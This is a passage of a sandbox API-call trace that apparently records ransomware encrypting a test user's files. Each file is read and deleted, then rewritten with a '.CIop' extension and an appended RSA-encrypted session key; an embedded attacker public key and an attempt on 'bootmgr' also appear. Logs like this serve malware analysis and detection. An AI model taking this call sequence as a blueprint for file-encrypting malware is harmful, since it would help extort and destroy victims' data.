2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.655] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0107.655] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x67bbd0) returned 1 [0107.655] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67bbd0, dwCertEncodingType=0x1, pInfo=0x688b88, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67df78) returned 1 [0107.655] CryptEncrypt (in: hKey=0x67df78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0107.655] CryptEncrypt (in: hKey=0x67df78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67cbc0*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67cbc0*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0107.655] WriteFile (in: hFile=0x610, lpBuffer=0x67cbc0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67cbc0*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.656] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.656] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.656] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.657] CloseHandle (hObject=0x610) returned 1 [0107.657] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\22-J61Dy1gKz.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\22-j61dy1gkz.jpg")) returned 0 Thread: id = 230 os_tid = 0xed4 [0107.741] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.741] lstrcpyW (in: lpString1=0x312f368, lpString2="RecordedTV.library-ms" | out: lpString1="RecordedTV.library-ms") returned="RecordedTV.library-ms" [0107.741] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\Public\\Libraries\\" | out: lpString1="\\\\?\\C:\\Users\\Public\\Libraries\\") returned="\\\\?\\C:\\Users\\Public\\Libraries\\" [0107.742] SetErrorMode (uMode=0x1) returned 0x1 [0107.742] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned 51 [0107.742] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x20) returned 1 [0107.742] StrStrW (lpFirst="RecordedTV.library-ms", lpSrch=".CIop") returned 0x0 [0107.742] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CIop") returned 56 [0107.742] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0107.743] ReadFile (in: hFile=0x53c, lpBuffer=0x654270, nNumberOfBytesToRead=0x3e7, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x654270*, lpNumberOfBytesRead=0x312e5e8*=0x3e7, lpOverlapped=0x0) returned 1 [0107.744] CloseHandle (hObject=0x53c) returned 1 [0107.744] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 1 [0107.745] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.745] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.745] SetErrorMode (uMode=0x1) returned 0x1 [0107.745] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x67cc48) returned 1 [0107.748] CryptGenKey (in: hProv=0x67cc48, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e7f8) returned 1 [0107.819] CryptExportKey (in: hKey=0x67e7f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0107.819] CryptExportKey (in: hKey=0x67e7f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0107.819] CryptDestroyKey (hKey=0x67e7f8) returned 1 [0107.819] CryptReleaseContext (hProv=0x67cc48, dwFlags=0x0) returned 1 [0107.819] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CIop" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0107.820] WriteFile (in: hFile=0x6bc, lpBuffer=0x654270*, nNumberOfBytesToWrite=0x3e7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x654270*, lpNumberOfBytesWritten=0x312e5d8*=0x3e7, lpOverlapped=0x0) returned 1 [0107.820] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3e7 [0107.820] WriteFile (in: hFile=0x6bc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.820] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3ee [0107.821] SetErrorMode (uMode=0x1) returned 0x1 [0107.821] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.821] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.821] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0107.821] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x67c2b8) returned 1 [0107.821] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67c2b8, dwCertEncodingType=0x1, pInfo=0x689fd8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e7f8) returned 1 [0107.821] CryptEncrypt (in: hKey=0x67e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0107.821] CryptEncrypt (in: hKey=0x67e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67cd58*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67cd58*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0107.821] WriteFile (in: hFile=0x6bc, lpBuffer=0x67cd58*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67cd58*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.822] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.822] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.822] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.822] CloseHandle (hObject=0x6bc) returned 1 [0107.823] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 0 Thread: id = 231 os_tid = 0xebc [0107.824] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.824] lstrcpyW (in: lpString1=0x326f368, lpString2="Ins8Esh4IdpaiiYPl TD.avi" | out: lpString1="Ins8Esh4IdpaiiYPl TD.avi") returned="Ins8Esh4IdpaiiYPl TD.avi" [0107.824] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\" [0107.824] SetErrorMode (uMode=0x1) returned 0x1 [0107.824] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\Ins8Esh4IdpaiiYPl TD.avi") returned 80 [0107.824] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\Ins8Esh4IdpaiiYPl TD.avi", dwFileAttributes=0x20) returned 1 [0107.825] StrStrW (lpFirst="Ins8Esh4IdpaiiYPl TD.avi", lpSrch=".CIop") returned 0x0 [0107.825] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\Ins8Esh4IdpaiiYPl TD.avi.CIop") returned 85 [0107.825] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\Ins8Esh4IdpaiiYPl TD.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\ins8esh4idpaiiypl td.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0107.825] ReadFile (in: hFile=0x610, lpBuffer=0x658670, nNumberOfBytesToRead=0xf985, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x658670*, lpNumberOfBytesRead=0x326e5e8*=0xf985, lpOverlapped=0x0) returned 1 [0107.826] CloseHandle (hObject=0x610) returned 1 [0107.826] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\Ins8Esh4IdpaiiYPl TD.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\ins8esh4idpaiiypl td.avi")) returned 1 [0107.830] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.830] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.830] SetErrorMode (uMode=0x1) returned 0x1 [0107.830] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x67ccd0) returned 1 [0107.833] CryptGenKey (in: hProv=0x67ccd0, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e838) returned 1 [0107.858] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0107.858] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0107.858] CryptDestroyKey (hKey=0x67e838) returned 1 [0107.858] CryptReleaseContext (hProv=0x67ccd0, dwFlags=0x0) returned 1 [0107.858] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\Ins8Esh4IdpaiiYPl TD.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\ins8esh4idpaiiypl td.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0107.859] WriteFile (in: hFile=0x610, lpBuffer=0x658670*, nNumberOfBytesToWrite=0xf985, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x658670*, lpNumberOfBytesWritten=0x326e5d8*=0xf985, lpOverlapped=0x0) returned 1 [0107.860] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf985 [0107.860] WriteFile (in: hFile=0x610, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.860] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf98c [0107.860] SetErrorMode (uMode=0x1) returned 0x1 [0107.860] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.860] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.860] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0107.860] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x67c808) returned 1 [0107.861] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67c808, dwCertEncodingType=0x1, pInfo=0x6889e8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67e1f8) returned 1 [0107.861] CryptEncrypt (in: hKey=0x67e1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0107.861] CryptEncrypt (in: hKey=0x67e1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67c560*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67c560*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0107.861] WriteFile (in: hFile=0x610, lpBuffer=0x67c560*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67c560*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.861] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.861] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.861] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.861] CloseHandle (hObject=0x610) returned 1 [0107.863] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\fkya9Y5PGZm9_q\\Ins8Esh4IdpaiiYPl TD.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\fkya9y5pgzm9_q\\ins8esh4idpaiiypl td.avi")) returned 0 Thread: id = 232 os_tid = 0xefc [0117.935] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0117.935] lstrcpyW (in: lpString1=0x312f368, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0117.935] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0117.935] SetErrorMode (uMode=0x1) returned 0x1 [0117.935] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\bootmgr") returned 14 [0117.935] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0117.936] StrStrW (lpFirst="bootmgr", lpSrch=".CIop") returned 0x0 [0117.936] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\bootmgr.CIop") returned 19 [0117.936] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 233 os_tid = 0xc3c [0117.966] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0117.966] lstrcpyW (in: lpString1=0x312f368, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0117.966] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0117.966] SetErrorMode (uMode=0x1) returned 0x1 [0117.966] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 60 [0117.966] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0117.966] StrStrW (lpFirst="Favorites.vssx", lpSrch=".CIop") returned 0x0 [0117.966] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx.CIop") returned 65 Thread: id = 234 os_tid = 0x114 [0118.044] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho 